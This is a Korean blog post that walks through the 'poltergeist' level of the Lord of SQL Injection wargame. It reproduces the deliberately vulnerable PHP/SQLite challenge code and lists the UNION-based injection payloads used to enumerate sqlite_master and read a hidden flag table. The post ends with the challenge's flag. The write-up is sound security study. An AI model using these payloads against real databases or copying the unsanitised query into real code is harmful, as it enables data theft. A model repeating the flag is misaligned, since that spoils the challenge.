[LOS] poltergeist

Yennytime·2023년 1월 20일
0

Lord of SQL Injection

목록 보기
20/20
post-thumbnail

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/poltergeist.db");
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

🔺 코드분석

1.

$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";

id=admin으로 고정되어있으며, pw가 쿼리문에 들어가있다.

2.

if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.

$poltergeistFlag = pw일 때 성공적으로 출력할 수 있다고 한다.
$poltergeistFlagmember테이블이 아닌 flag_{$hash}저장되어 있다고 한다!


🔺 풀이 과정

저번 zombie 문제와 비슷히기 때문에, SQLite의 테이블 정보에 대해 알아보자.

💙 SQLite 테이블
SQLite에서 테이블 및 컬럼정보를 가져올 때, sqlite_master 테이블을 이용한다. sqlite_master은 사용자가 수정할 수 없고, 읽기만 지원된다.

CREATE TABLE sqlite_master(
	type text, 
    name text, 
    tbl_name text,  
    rootpage integer, 
    sql text
 );
  • type
    해당 데이터가 테이블 관련 정보/인덱스 관련 정보인지 등을 나타내며, 테이블을 생성하게 되면 table이라는 데이터가 삽입된다.

  • name
    해당 오브젝트의 이름을 의미한다.

  • tbl_name
    table의 이름이며 테이블인 경우에는 nametbl_name이 같다.
    인덱스 혹은 트리거같은 경우에는 해당 인덱스/트리거가 어떤 테이블을 대상으로 적용되었는지 나타낸다.
    예를 들어, TEST_IDX_1 이라는 인덱스TEST_TABLE_1에 걸어주었을 경우, name = TEST_IDX_1, tbl_name = TEST_TABLE_1이 저장된다.

  • rootpage
    루트 b-tree 페이지의 번호를 나타낸다.

b-tree구조 등 더 자세한 SQLite에 대한 내용은 다음 시간에 업로드하겠다.

  1. sqlite_master에서 테이블 정보를 가져올 때, name 또는 tbl_name 필드를 이용하면 된다.
  • SELECT tbl_name FROM sqlite_master
  1. 컬럼 정보를 가져올 때
  • SELECT sql FROM sqlite_master WHERE tbl_name='{테이블 이름}

MySQL 뿐만 아니라 SQLite에서도 UNION을 사용할 수 있다는 것을 알았다.

  1. pw=' union select tbl_name from sqlite_master -- -

테이블 정보Hello flag_70c81d99인 것을 알았다.
flag_{$hash}저장되어 있다고 하니, flag_70c81d99로 검색해보자.

  1. pw=' union select sql from sqlite_master where tbl_name='flag_70c81d99'-- -

흠.. flag_0876285c가 갑자기 등장해서 당황..이 플래그가 flag_70c81d99 테이블 안에 있다는 의미인 것 같다(?) 일단 flag_70c81d99이 테이블 이름이니 컬럼으로 출력해보자.

  1. pw=' union select sql from sqlite_master flag_70c81d99='flag_0876285c text'-- -

응~ 아니야 (심지어 where도 안썻다;;) SQLite의 기본 구조를 다시 확인해보니

CREATE TABLE sqlite_master(
	type text, -- -> flag_0876285c
    name text, 
    tbl_name text, -- -> flag_70c81d99  
    rootpage integer, 
    sql text
 );

이런식으로 구성되어 있는 것 같다.

  1. pw=' union select flag_0876285c from flag_70c81d99 -- -

flag_70c81d99안에 있는 flag_0876285c의 데이터를 뽑아내라 라는 의미를 가지고 있기 때문에 플래그를 정상적으로 출력할 수 있었다.

  1. pw=FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}


🤔 파이썬 공부 다 끝내면, SQL에 대해 공부를 집중적으로 해봐야겠다.

profile
It's Yennytime💙

0개의 댓글